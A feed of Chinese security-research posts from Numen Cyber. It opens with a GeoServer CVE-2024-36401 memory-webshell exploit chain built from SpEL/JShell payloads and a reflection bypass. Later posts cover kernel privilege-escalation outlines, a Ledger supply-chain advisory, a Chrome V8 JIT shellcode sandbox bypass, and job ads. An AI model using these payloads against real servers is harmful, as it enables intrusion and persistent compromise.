Numen 独家 CVE-2024-36401 JDK 11-22 通杀内存马

前言

在看到 yzddMr6 师傅的 《GeoServer property RCE注入内存马》之后的第一反应是，在 JDK 15 之后不再默认包含 JS 引擎的解析包了，这也就意味着 JDK 15 之后无法按照这个思路去写内存马。这篇文章将展示我当时对这个漏洞的其他内存马利用尝试的过程，最终决定了使用了 SpEL 表达式注入的方式成功注入了内存马，将利用的 JDK 版本提升到了 JDK 22。

BCEL 的尝试

在分析的过程中，发现 lib 中存在 BCEL 的 ClassLoader。

但是在调试 BCEL 表达式注入的过程中发现，简单的命令执行的 BCEL 表达式都无法执行。在调试之后发现，BCEL 表达式执行过程中 createClass 一定会报错，导致无法返回 clazz，也就无法加载任意类。本来以为可以简简单单的 BCEL 表达式注入在这里无法做内存马注入。

JShell 的尝试

从 Java 9 开始提供了一个叫 JShell 的功能，JShell 是一个 REPL(Read-Eval-Print Loop) 命令行工具，提供了一个交互式命令行界面，在 JShell 中我们不再需要编写类也可以执行Java代码片段。

JShell 注入代码片段的 PoC

eval(build(jdk.jshell.JShell.builder()),'YOUR-JAVA-CODE')

由于受漏洞影响的版本的 GeoServer 的 JDK 版本是 11 -17，所以这里计划一部到位，随便绕过 JDK 16 开始的反射限制。

eval(build(jdk.jshell.JShell.builder()),' import sun.misc.Unsafe; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class UnsafeTest { public static void test() { try { String payload = "Base64-PAYLOAD"; Class<?> unSafe=Class.forName("sun.misc.Unsafe"); Field unSafeField=unSafe.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule=Object.class.getModule(); Class<?> currentClass= UnsafeTest.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module")); unSafeClass.getAndSetObject(currentClass,addr,baseModule); Class<?> byteArrayClass = Class.forName("[B"); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byteArrayClass, int.class, int.class); defineClass.setAccessible(true); Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", Base64.getDecoder().decode(payload), 0, Base64.getDecoder().decode(payload).length); calc.newInstance(); }catch (Exception e){} } } UnsafeTest.test();')

然而在后续的测试中发现，在此漏洞中 JShell 无法执行类中的方法或者静态代码块，故也放弃这条内存马注入的思路。

SpEL 注入内存马

JDK11 - 15

SpEL 的 PoC 很好构造，需要注意的是 payload 中没有 # 和 {}。

toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"YOUR-SPEL-CODE")))

当我还默认以为可以直接使用 JMG 生成 SPEL 格式的内存马注入 payload 直接注入时发现一个异常：

org.springframework.expression.spel.SpelEvaluationException: EL1079E: SpEL expression is too long, exceeding the threshold of '10,000' characters

异常抛出的原因是 SpEL 的 payload 字符串长度超过了 10,000：Issue #30380 ·  Make maximum SpEL expression length configurable)[https://github.com/spring-projects/spring-framework/issues/30380]，该值可以通过反射修改，缺点需要打两次请求。

org.springframework.expression.spel.ast.OperatorMatches#checkRegexLength

    private void checkRegexLength(String regex) {        if (regex.length() > 1000) {            throw new SpelEvaluationException(this.getStartPosition(), SpelMessage.MAX_REGEX_LENGTH_EXCEEDED, new Object[]{1000});        }    }

通过观察 JMG 的 payload 我们可以看到，其中恶意字节码是直接使用 Base64 编码的。众所周知，class 文件经过一次 Base64 编码会使得恶意字节码字符串大小增加，这个时候我们可以考虑使用 gzip 先压缩 class 文件，接着再套一层 Base64 编码，这样可以大大缩小 SpEL 表达式的长度。

gzip + Base64 编码的 PoC

toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('Calc',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()")))

这样即可直接完成内存马的注入。

JDK 16 以上的反射限制绕过

文章到此依然没能完成对于高版本的反射限制，这里笔者发现，JMG 默认的反射操作是使用 ReflectUtils 的方法，在代码执行的一开始就会直接开始触发反射限制，笔者经过多种嵌套尝试都无法绕过。上文的 SpEL 方法适用版本止步于 JDK 15，JDK 16+ 的利用还要寄希望于绕过反射限制。多次注入后一直会出现报错 module java.base does not "opens java.lang" to unnamed module，而且即使将绕过代码添加进入注入器或者内存马内都依然出现此异常。

多次调试后发现，是来源于 ReflectUtils 反射操作的限制。也就说，只要绕过了这里的 setAccessible(true) ，本漏洞的利用即可完成 bypass JDK16+ 的反射限制，从而完成更高版本的内存马注入。

org.springframework.cglib.core.ReflectUtils#defineClass(java.lang.String,byte[],java.lang.ClassLoader, java.security.ProtectionDomain, java.lang.Class<?>)

‍

然而，笔者一开始实际上一直没有发现问题可能出现在这里，在初期尝试的时候一直认为类似 module java.base does not "opens java.lang" to unnamed module 的报错是发生在 JMG Jetty 内存马加载的过程中的（②），而不是一开始的类加载 注入器 的过程中（①）。

这里给出解决的 Payload：

T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('YOUR-BASE64'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))

这个与一开始我设计的 Payload 的不同的地方在于，使用的底层 defineClass 的方法不同：

// 修改前的 Payloadpublic static Class defineClass(String className, byte[] b, ClassLoader loader)
// bypass JDK16+ 的 Payloadpublic static Class defineClass(String className, byte[] b, final ClassLoader loader, ProtectionDomain protectionDomain, final Class<?> contextClass)

其中类加载器不同；指定了 contextClass ；而且需要恶意类在 org.springframework.expression 包下。如此修改可以使得代码进入没有 setAccessible(true) 的分支，那么自然就没有反射的限制了，从而完成更高版本的内存马注入（①）。

目前位置我们需要做：

1. 修改 SpEL 的 payload；

2. 修改 JMG 内存马注入器的包名在 org.springframework.expression 下；我们到此为止解决了 ① 的问题，② 的问题就很容易解决了，参考第三点。

3. 在恶意字节码（内存马）中添加反射绕过代码：

Class unsafeClass = Class.forName("sun.misc.Unsafe");Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");unsafeField.setAccessible(true);Unsafe unsafe = (Unsafe) unsafeField.get(null);Module module = Object.class.getModule();Class cls = HelpUtils.class;long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));unsafe.getAndSetObject(cls, offset, module);Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);defineClass.setAccessible(true);

可能会遇到的问题：

以上三步都很简单，但是在重新生成恶意类的 Base64 的时候大家可能还会遇到一个问题，即使使用了 gzip 压缩的方式，最终的 Base64 字符串依然超过了 10000 的长度限制。这里提供一个手动编译恶意字节码的一个小技巧，可以大大限制字节码的膨胀。（不生成调试信息，并在编译时显示未经检查的操作和已弃用代码的警告。）

javac -g:none .\YOUR-Evil.java -Xlint:unchecked  -Xlint:deprecation

4. 手动编译恶意字节码，gzip 压缩字节码后转换成 Base64 输出，将字符串填充到 Payload 中；

5. 发送报文，一键注入内存马。

扩展

dnslog 检测：

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='sf:archsites'/>  <wfs:valueReference>java.net.InetAddress.getAllByName("")</wfs:valueReference></wfs:GetPropertyValue>

延迟检测：

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='sf:archsites'/>  <wfs:valueReference>java.lang.Thread.sleep(10000)</wfs:valueReference></wfs:GetPropertyValue>

总结

本文通过 SpEL 表达式执行的方式完成内存马注入攻击，完成了两处的 JDK 高版本反射限制，其中通过一个手动编译字节码的技巧和 gzip 压缩字节码的方式对最后的 Base64 进行压缩，最终完成了 JDK 11 - 22（经过测试） 的全版本 JDK 通杀。

阅读原文

跳转微信打开

OFF-BY-ONE Conference在新加坡举行，我们有幸发表了题，介绍Linux kernel 漏洞挖掘Fuzz方面的一些技巧

0x00 背景

在2024年6月26日，OFF-BY-ONE Conference在新加坡举行，我们有幸发表了题目为“经典目标中被遗忘的宝藏”的演讲。

整体来讲，这个演讲主要是讲述我们我们尝试在对一些传统的目标进行 Fuzz 的时候，由于目标已经被大量的进行了 Fuzz，我们无法很好的发现新的可利用的漏洞。所以我们改变方案，重新阅读和分析源码，寻找新的攻击面，并且尝试通过手动的代码审计来挖掘漏洞。最后我们反思我们的fuzz策略和直接代码审计时有什么不同，然后改进了我们的 Fuzz 工具，进一步发现了许多新的漏洞。

这个演讲主要由三大部分组成，分别是被遗忘的宝藏、 审计目标和增强 Fuzzers。

0x01 被遗忘的宝藏

我们都知道，在 web3 项目中，出现一个漏洞，往往会带来巨大的经济损失，所以，web3 的项目往往要求尽可能找出项目中的所有漏洞。但是传统的 web2 项目往往拥有比 web3 项目大得多的规模，所以那些被多次审计或者 Fuzz 过的代码，往往会被忽略或者说默认为安全。

所以，在这个部分中，我们主要回顾了以下一些有趣的漏洞。

• CVE-2020-15999

  图像解析 freetype 的漏洞，被多个项目使用，比如 chrome 和 android。在处理嵌入到字体的 PNG 图像时，由于把获取的32位图像宽高进行截断为16位再进行存储，并且使用16位的数据进行内存申请操作，导致后续出现堆溢出操作。

• CVE-2023-4863、CVE-2023-41064

  webp/libwebpd 的漏洞，被 Android, chrome, ios/masos 等使用。规范霍夫曼编码算法中有越界写漏洞。

• CVE-2023-0461

  Linux内核的 TCP_ULP 模块漏洞。TCP_ULP 没有判断协议是否实现某些虚函数，导致在使用特定的协议进行多次三次报文握手时，会出现 double free 的漏洞。

0x02 审计目标

这部分讲述了我们 Fuzz 失败然后进行 Code Review 的过程，这部分由两个部分组成，第一部分是 Linux kernel 相关的，第二部分是 Android 相关的，这部分我们将只阐述其中关于 Linux 相关的内容。

在 Linux Kernel 部分，如果我们想要进行 Linux Kernel Fuzz，我们首先必须确定攻击面。我们首先介绍了 Linux Kernel 近些年常见的攻击面，分别是 ebpf、io_uring 和 Netfilter。ebpf 由于 Ubuntu 的权限设置，普通用户无法访问，所以该攻击面不可用。io_uring 和 Netfilter 虽然都是很棒的攻击面，同时有着普通用户可以访问以及足够复杂且多变的代码，但是由于过多人关注这两个攻击面，我们也不选择。经过多方对比，我们最后的选择是，network packet scheduler，这个模块代码可以被普通用户访问到而且足够复杂，最重要的是关注的人不多，但是同时他的缺点也明显，就是 Fuzz 时的通用性差，而且需要创建新的 Namespace。

紧接着，我们介绍了 Network Packet Scheduler 的基本架构，如上图所示，在得到基本架构后，我们可以轻易的使用 Fuzz 工具比如 syzkaller 来进行 Fuzz。但是我们并没有 Fuzz 出什么有效的内容，所以我们转向了直接的代码审计。

然后我们发现了CVE-2023-35788，这个漏洞。

在fl_set_geneve_opt中，key->enc->opts.len被用在data数组中，而且在这之前没有进行校验，如果我们构造合适的长度，可以把后续的了opt的 length, r1, r2和r3字段的0写入opts.len中，从而构造一个 off-by-one 的漏洞。

这可以绕过后续的对于fl_set_geneve_opt的校验操作，进而进一步导致结构体内越界写。

但是由于宏定义的限制，我们最多只能溢出128字节。

至于越界读取，cls_flower本身就提供了读取我们之前传入的内容的功能，而且依赖于len 字段。

如果我们在触发结构体溢出后，继续在这个数组中填入数据，由于我们的len被修改了，我们会重新开始写这个数据的内容，经过布局，我们可以在修改部分原有的 opt 的 len，同时，在数组的末尾伪造一个虚假的 opt 结构体，那么内核会错误的以为，后续还有我们传入的数据，从而实现越界结构体内读取，泄漏之前说的函数指针。最后我们利用这个越界写入完成了对 Ubuntu 的提权。

在我们发现了这些漏洞后，我们决定去增强我们的 Fuzz，来找到更多的漏洞。

0x03 增强Fuzzers

我们在这部分首先介绍了失败的原因。

第一种情况是该漏洞的模型构建困难。例如，一些内存破坏性漏洞可能不会产生崩溃等直观影响。当他们写越界时，是每隔一些内存单元进行的，并且在一定概率下修改的值是不会出现错误的。

第二种情况通常在一些闭源 Fuzz 中更为常见。因为在某些情况下，代码的触发路径较多且复杂，很难在短时间内确定所有的关键处理模块。因此，大多数情况下，我们可能会更加关注早期的处理模块。

还有第三种情况的漏洞，通常是最难发现的。当多个条件同时满足时才会触发。在很多情况下，我们可能并没有真正理解解析函数所涉及的关键点。同时，在封闭式 Fuzz中，我们通常更关注早期接口参数的适配以及代码覆盖率的提升。这导致我们的 Fuzz 很难挖掘到这些多条件漏洞。

所以我们通过以下方式改进。首先是对于多层嵌套结构，我们关注Fuzz到达特定指令的效率，即我们关注我们 Fuzz 的深度而不是广度。其次我们更关注关键指令位置的路径测试，对于相同的路径，我们多次使用不同的特殊值来进行测试。总的来说，这是一种引导式 Fuzz 策略，可以更好挖掘一些被遗忘的漏洞。

最后，我们集中介绍了CVE-2024-36978。

漏洞发生在sch_multiq模块。我们可以看到在位置一，qopt->bands被赋值。然后在位置二，removed被申请，通过q->max_bands减去q->bands。在位置三，q->bands被qopt->bands赋值。在位置四，我们把一些多余的 qdisc 对象放入 removed 数组，然后在位置五释放。为什么位置二要使用老的 q->bands 申请 removed 大小，但是后面的 for 循环中却用了新的q->bands。这看起来很奇怪。如果 max_bands 减去新的 bands 大于 max_bands 减去老的 bands 的两倍，for 循环就可能越界写入一个马上会释放的堆指针。

利用这个漏洞，我们可以轻易完成 Linux kernel 的提权。

0x04 参考链接

https://medium.com/@numencyberlabs/the-forgotten-treasure-in-classic-targets-94b0a71a5ec7

阅读原文

跳转微信打开

[庆祝]Numen cyber 祝大家农历新春愉快，阖家欢乐，万事如意。[爆竹][烟花]

跳转微信打开

全球安全会议/赛事/活动，差旅无限报销

圈子好友聚会无限报销

实验室岗位拒绝OKR，KPI...

研究资源重度倾斜

16天超长带薪年假，鼓励配合公共假期一起休

实验室岗位每周4天来公司，1天居家办公

... ...

   推荐成功入职送  apple vision pro 

还在开放的岗位：

• 移动安全研究员（Android方向）

• 移动安全研究员（应用层方向 ）
  

• 工控/物联网/网络设备/安全研究员

• 区块链安全研究员

• Web漏洞研究员（php/java）

• 高级渗透测试工程师

简历投送邮箱：hr@numencyber.com

下面是岗位的详细信息

移动安全研究员（Android方向）

工作职责

1. 负责漏洞挖掘平台的研发与改进；

2. 负责漏洞利用新技术研究；

3. 跟踪全球最新安全动态，了解最新的攻击技术，完成分析报告。

任职要求

1. 了解Android基本安全机制与功能：root、SELinux、APK签名、锁屏、手机解锁、指纹支付、OTA等;

2. 熟悉常见漏洞原理：对堆溢出、UAF、进程注入、提权等，有成功的漏洞挖掘/利用经验；

3. 熟悉操作系统原理，了解ARM架构；熟悉Java/C/C++开发，了解打包、反编译、破解流程；熟悉脱壳、混淆对抗；熟悉Ollvm混淆、有实际的对抗经验和成熟的对抗方案；熟悉Android设备指纹、环境分析对抗；

4. 其他加分安全技术：密码学、安全协议、逆向工程、Fuzzing；

5. 在相关领域顶级会议、期刊上发表过论文者优先考虑；

6. 有厂商致谢优先。

移动安全研究员（应用层方向）

工作职责

1. 负责漏洞挖掘平台的研发与改进；

2. 负责移动客户端安全漏洞、风控策略的分析、挖掘和漏洞利用新技术研究；

3. 跟踪全球最新安全动态，了解最新的攻击技术，完成分析报告;
   

4. 持续跟踪、借鉴业界领先的安全技术成果和最佳实践，引入安全攻防技术方法与工具，并在测试验证项目中落地。

任职要求

1. 对Android基础安全有深入的了解，包括但不限于框架层、TEE、系统及预置App、Bootloader等攻击面，能够深入挖掘潜在的攻击点；

2. 熟练掌握ARM/ARM64汇编语言，对TEE TA有深入的认识，以及熟练的JAVA/C++编程技能；

3. 对Android Framework框架及其运作方式，Dalvik/ART虚拟机原理有深刻的理解；

4. 具备对智能设备固件和通讯协议进行逆向分析的能力；

5. 掌握ARM汇编、ELF结构，熟悉静态分析、HOOK等逆向工程技巧；

6. 熟练使用常见的逆向工具和框架，如Apktool、dex2jar、IDA、JEB、Frida、Xposed、Jadx、Drozer、MobSF、Wireshark、Fiddler等；

7. 熟悉Android框架和JNI，能够熟练使用NDK独立编写Android应用程序和Native原生程序；

8. 至少熟练掌握一种编程语言，如Java、Python、Shell、C等。

工控/物联网/网络设备/安全研究员

工作职责

1. 物联网通用协议、组件、操作系统漏洞挖掘与漏洞复现；

2. 物联网设备漏洞挖掘与漏洞复现；

3. 参与创新物联网安全研究项目；

4. 分析研究嵌入式IoT设备（路由器、摄像头）或工控PLC等固件的漏洞。

任职要求

1. 至少需2年工作经验；

2. 熟练qemu模拟/仿真，熟悉嵌入式系统wifi，蓝牙，Zigbee，LTE，NB-IOT，5G等攻击面，对可挖掘攻击面有较为深入的理解；

3. 熟练固件提取，精通armv7/v8 shellcode撰写，熟悉MIPS指令；

4. 较为熟练linux内核/Android内核堆漏洞利用，包括不限于跨缓存攻击/物理页uaf等；

5. 对未知领域和工控安全具有强烈爱好，愿意在该方向深耕。

加分项

1. 有独立挖掘漏洞的经验，获得过主流厂商的CVE编号；

2. 参加过Pwn2Own、天府杯等赛事，并成功攻破目标；

3. 在有影响力的业界会议（学术/工业）上发表论文；

4. 有独立挖掘漏洞的经验，获得过主流厂商的CVE编号；

5. 通过使用/定制/自研工具发现有效漏洞；

6. 作为CTF主力选手取得过优秀的成绩。

区块链安全研究员

工作职责

1. 负责区块链安全研究和代码安全审计；

2. 探索区块链和其他前沿技术，并提前规划布局和实施；

3. 负责区块链相关的漏洞挖掘和分析，如交易所、钱包、智能合约等。

任职要求

1. 5年或以上经验；

2. 精通 Golang /C++ /JavaScript/ Java /Python /Rust 中的一种或多种编程语言；

3. 在至少一个安全领域具备漏洞挖掘和分析技能；

4. 对新技术敏感和感兴趣，对区块链安全技术有浓厚兴趣；

5. 熟悉比特币和以太坊等主流区块链技术及相关机制原理；

6. 熟悉零知识证明（ZK）技术及相关机制原理；

7. 对不同类型的软件有最新的了解，并在任何操作系统、软件（二进制或Web）应用程序或区块链上进行漏洞发现的经验。

Web漏洞研究员（php/java）

工作职责

Web方向漏洞挖掘、研究、武器化落地

1. 关注全球最新的漏洞，并对高危漏洞进行分析和调试，编写 poc & exp；

2. 对各类通用应用系统或框架组件、中间件等进行漏洞挖掘。

任职要求

1. Web安全基础扎实，对常见漏洞的原理和利用有较深入的理解；

2. 熟悉PHP、Java、Dotnet、Python、Go、JavaScript中至少两门主流语言，熟悉框架、SDK底层代码；

3. 熟悉SAST相关工具，如CodeQL；

4. 对漏洞挖掘与利用感兴趣，有快速学习和自我驱动力，有较强的团队协作精神。

加分项

1. 有独立漏洞挖掘、完整利用编写经验；

2. 获得过主流厂商的致谢，如Apache、Oracle、VMware （VCenter、Horizon）、Struts2、Spring、Wordpress等；

3. 提交过高质量CVE漏洞或独立编写过有深度的漏洞分析文章优先。

高级渗透测试工程师

工作职责

1. 跟踪关注全球安全领域的安全动态；

2. 对客户业务进行深度渗透，发现从互联网到业务的完整攻击链条。

任职要求

1. 熟悉常见的渗透手段，包括但不限于情报整合、边界打点、权限维持、建立隧道、内网移动等；

2. 熟练掌握主流网络、应用、系统攻击技术及常用工具；熟悉常见安全漏洞原理及利用；

3. 熟练掌握ATT&CK各环节关键技术、工具使用和思路；

4. 对EDR等安全设备有较深入的研究和Bypass经验。

加分项

1. 拥有大型企业内外网完整渗透测试经验，对APT有深入研究或有实践经验;

2. 有较多内外网渗透经验或对工作组/域中的对抗有深入研究;

3. 有大型网络安全竞赛获奖经历/挖掘过高质量漏洞/发表过深度技术Paper;

4. 有在围绕渗透测试所需的技能栈中的某一领域，极具竞争力的。

阅读原文

跳转微信打开

新加坡本土网络安全公司 Numen Cyber 宣布与香港光环云数据有限公司（简称“光环云”）建立战略合作伙

新加坡本土网络安全公司 Numen Cyber 宣布与香港光环云数据有限公司（简称“光环云”）建立战略合作伙伴关系。此次合作将重点放在云服务器和云服务业务场景的安全领域。

Numen Cyber，作为一家致力于为客户提供专业网络安全服务和一体化安全产品解决方案的公司，拥有一个由世界各地资深安全专家组成的强大技术团队。该团队曾发现多个知名公链（包括EOS、Ripple、TRON、Augur、Aptos、Sui等）、web3项目、以及微软、谷歌、苹果产品的高危漏洞。其客户包括Binance、Avepoint等知名Web2/Web3项目和企业，同时与BNB chain、Cobo、BitForex、华为云、亚洲数字银行、ChainUP、InsurAce等保持战略合作伙伴关系。

香港光环云数据有限公司，作为光环新网科技股份有限公司（股票代码300383)（亚马逊云科技中国（北京）区域独立运营方）的附属企业，自2018年5月成立以来，已成为中国专业的数据中心及云计算服务提供商。光环云致力于成为中国云服务能力的承载者和赋能者，旨在通过其光环云赋能平台，为用户、渠道与生态合作伙伴提供一站式、端到端、云中立的云服务，以支持中国企业全面实现云转型升级、供给侧改革和双创事业。

此次合作将加强双方在云服务安全领域的合作，共同推动云服务业务场景的安全性和可靠性。Numen Cyber的专业网络安全服务与光环云的云计算技术的结合，预期将为企业客户提供更高层次的安全保障和服务效能。

此次合作标志着双方致力于共同提升云计算安全性的决心，为双方客户带来更高效、更安全的云服务体验。

阅读原文

跳转微信打开

🌟 新年到来，我们向每一位关注我们的朋友致以最温暖的祝福。愿2024年带给您无尽的成功和快乐！我们将持续致力于提供卓越的网络安全服务，守护您的数字世界安全。感谢您的支持，让我们共同迎接崭新的一年！🎉

跳转微信打开

Numen安全团队发现Ledger的ledgerhq/connect-kit模块被植入恶意钓鱼代码，大量的 dapp集成了该功能，受到影响的 dApp 列表没有明确的统计，范围极广。

影响版本

ledgerhq/connect-kit 1.1.5

ledgerhq/connect-kit 1.1.6

ledgerhq/connect-kit 1.1.7

事件分析

Numen安全团队发现Ledger的ledgerhq/connect-kit模块被植入恶意钓鱼代码，大量的 dapp集成了该功能，受到影响的 dApp 列表没有明确的统计，范围极广。

https://github.com/LedgerHQ/connect-kit/commit/a4ba6946d8ab1906b040daf259c49dcd1dfdeeba

被投毒的代码 https://www.npmjs.com/package/@ledgerhq/connect-kit/v/1.1.7?activeTab=code

Revoke.cash Dapp也集成了LedgerHQ connect-kit（一款管理钱包代币授权和签名的安全工具）

截至目前，LedgerHQ Connect Kit 事件相关黑客已获利。

黑客钱包地址，相关钱包已被标记:

https://etherscan.io/address/0x658729879fca881d9526480b82ae00efc54b5c2d

https://etherscan.io/address/0x412f10AAd96fD78da6736387e2C84931Ac20313f

官方已经推送修复的版本 https://github.com/LedgerHQ/connect-kit/releases/tag/ck-v1.1.8，在此之前请暂时请勿使用钱包与任意dapp进行连接交互。

攻击者在推送代码时使用了该账户：@JunichiSugiura（Jun，Ledger 前员工）jun.sugiura.jp#gmail.com，可能@JunichiSugiura的账户已经被黑。

总结

此次事件，攻击者获取了Ledger前员工@JunichiSugiura的代码推送账户（不排除是本人所为），然后推送恶意钓鱼代码到ledgerhq/connect-kit库里，进行供应链攻击，在用户与dapp进行交互时，盗取用户的加密资产，ledger的影响力非常大，有依赖该模块的dapp应用的项目方请尽快升级。

阅读原文

跳转微信打开

阅读原文

跳转微信打开

你为谷歌的 CTF 做好准备了吗？今天，我们在 POC2023 分享了 "Modern Chrome Exploitation"主题。现在我们将公开最新的 Chrome 浏览器 V8 沙盒绕过方法。

01 - 前 言

2023年11月2日，POC2023在韩国如期举行。NumenCyber两名研究员有幸受邀参加这次会议，一起分享了“Modern Chrome Exploit Chain Development”的议题。

由于题目冠名“Modern”，如果没有比较新的东西和参会者分享，确实会略显尴尬。于是，在会议议题选中后，我迅速投入V8沙箱绕过研究。起初，我尝试利用fetch过来的binary data绕过，最后，绕过了PartitionAlloc，实现了完整地址的任意读写，于是我以为绕过了。之后我把PPT做完，迅速和主办方发过去，就安心等会议了。

2023年10月30日早上1点，我突然觉得不能这么大意。半夜突发奇想，起来验证任意读写。大概在上次天府杯的WASM漏洞利用时，使用了PartitionAlloc的方法实现了任意读写，所以这次起初我并没有太多关心是否真的彻底成功了。因为我验证了下读写。然而，当我尝试读写WASM的时候，却崩溃了。我瞬间清醒了，这说明我并没有彻底完成V8沙箱绕过。

之后我调试了下，通过反汇编分析了原因：PartitionAlloc已经不再是原来的那个PartitionAlloc了。确切的说，又添加了4个缓解措施：

1. 我们不能通过修改FreeList来实现控制MetadataPage了。因为Chrome检查了当前地址和下一个地址的差值，如果不符合要求，那就直接中断（int）

2. 控制了MetadataPage后，在之前的x86版本，会对FreeList的地址做逻辑运算，如果FreeList不符合要求，直接中断（int3）

   
   

Partition Alloc free list Mitigation

558110B6E62B - bswap rdx558110B6E62E - mov rsi,rdx558110B6E631 - xor rsi,r12558110B6E634 - cmp rsi,001FFFFF { 2097151 }558110B6E63B - ja chrome+2C26B80 { ->558110B6EB80 } INT3558110B6E641 - mov esi,edx558110B6E643 - and esi,001FC000 { 2080768 }558110B6E649 - je chrome+2C26B80 { ->558110B6EB80 } INT3

3. PartitionAlloc对目标地址的写入要求，做了地址范围限制：不能过小。4. 也不能过大：

Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)

chrome+2D202FF - mov rax,[chrome+DC12B60] { (162400000000=min(Partition Addr)) }chrome+2D20306 - cmp rax,r14 (r14 is destination addr)chrome+2D20309 - ja chrome+2D20B8B INT3 (if dest < min(PartitionAlloc addr) then crash))chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)chrome+2D20316 - cmp rax,r14chrome+2D20319 - jbe chrome+2D20B8B INT3 (if dest > max(PartitionAlloc addr) then crash))

细致研究后我初步得出结论：

我并没有完整绕过PartitonAlloc Alloc，只是获得了一定内存范围内的任意读写。

02 - 寻找新的攻击面

在初步确定没有完全绕过后，我立刻通过邮件与主办方联系，申请稍后更新PPT。随后，无法入睡，我不停地尝试，直到凌晨3点，我认为可能发现了新的绕过方法。稍作休息，5点起床后，我继续晚上的绕过尝试。经过调试，最终确认彻底绕过。

如果我们想绕过V8的沙箱，我们最终需要实现完整地址劫持和稳定的shellcode地址跳转。也就是说，需要稳定的RWX/RX地址计算。上次，我们公开了WASM绕过最新版V8沙箱，使用了Function的原生指针劫持。然而，我们公开后，谷歌迅速将WASM中的函数参数分配放在了可读可写的内存中，导致的结果是我们不能把想要的shellcode放在WASM中。这里，我们首先需要一个指针劫持，这个不太难，我认为是谷歌疏忽了这个点，如下所示

只要是Chrome研究人员，在编写exploit时，都会从内存中定位这个指针，然后计算WASM的地址，接着像以前一样，将shellcode写入。但是，谷歌没有对这个Native指针进行封装。

仔细研究Manyuemo给出的JIT优化的shellcode后，我发现即便在最新版Chrome中，优化后的浮点数仍旧会被放在RWX的内存中。但是如何稳定计算这个地址是个问题。我没有去研究JIT后的地址计算源码，因为时间紧迫。

function fun() {// 1.123=3ff1f7ced916872breturn [1.123, 1.134, 1.345];}for (let i = 0; i < 0x5000; i++) {fun(0);}fun();

55D9B81040B8 - mov eax,00000006 { 6 }55D9B81040BD - mov [rdi+03],eax55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }55D9B81040CA - vmovq xmm0,r1055D9B81040CF - vmovsd [rdi+07],xmm055D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }55D9B81040DE - vmovq xmm0,r1055D9B81040E3 - vmovsd [rdi+0F],xmm055D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }55D9B81040F2 - vmovq xmm0,r10

这里我想提一句插曲是，其实过去很多时候在完成一个exploit后，有些点我也不清楚为什么会有效。因为老板急需成果，在现有条件和理论基础不够强的情况下，我能做的只能是不断尝试，寻找触发弹出计算器的方法。一般来说，一个exploit完成后，迅速向上级汇报，而其根本原因和底层原理则是日后才去研究的。我觉得过去几年的成果大多是不断尝试的结果。

03 - WASM的JIT

结合Manyuemo的JIT函数，我认为如果V8沙箱的绕过存在，很可能在其他一些边缘的地方。比如WASM、WebAudio、WebSQL等等，我们可以看到过去编写exploit容易的地方，谷歌一直在努力加强安全性。因此，我尝试了下WASM函数的JIT。果然，我发现WASM函数优化后也会将参数放到RWX的内存中。

wat代码

(module  (func (export "main") (result f64)    ;; -6.654614018578406e+60=CC90909090909090    f64.const -6.654614018578406e+60    ;; 1.124=3ff1fbe76c8b4396    f64.const 1.124    ;; 1.125=3ff2000000000000    f64.const 1.125    ;; 1.126=3ff204189374bc6a    f64.const 1.126    drop    drop    drop))

var wasmCode = new Uint8Array([...wasm..binary…]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule);var f = wasmInstance.exports.main;for (let i = 0; i < 0x10000; i++) {f();}%DebugPrint(wasmInstance);

javascript测试代码

生成的代码如下：

355CEAE43715 - jbe 355CEAE43771355CEAE4371B - mov r10,CC90909090909090 { -1869574000 }355CEAE43725 - vmovq xmm0,r10355CEAE4372A - mov r10,3FF1FBE76C8B4396 { 1.12 }355CEAE43734 - vmovq xmm1,r10355CEAE43739 - mov r10,3FF2000000000000 { 1.13 }355CEAE43743 - vmovq xmm2,r10355CEAE43748 - mov r10,3FF204189374BC6A { 1.13 }355CEAE43752 - vmovq xmm3,r10

04 - 演示

05 - 总结

在兼顾JIT性能的同时，类似于之前的WASM绕过，我们不得不考虑将浮点数等比较长的可预测常量属性设置为R/RW，或者同时修复它们的可预测地址方法。否则，攻击者很容易获得稳定的shellcode执行。

06 - 参考

https://blog.noah.360.net/chromium_v8_remote_code_execution_vulnerability_analysis/
https://medium.com/@numencyberlabs/use-native-pointer-of-function-to-bypass-the-latest-chrome-v8-sandbox-exp-of-issue1378239-251d9c5b0d14
https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078
https://medium.com/numen-cyber-labs/analysis-and-summary-of-tcp-ip-protocol-remote-code-execution-vulnerability-cve-2022-34718-8fcc28538acf
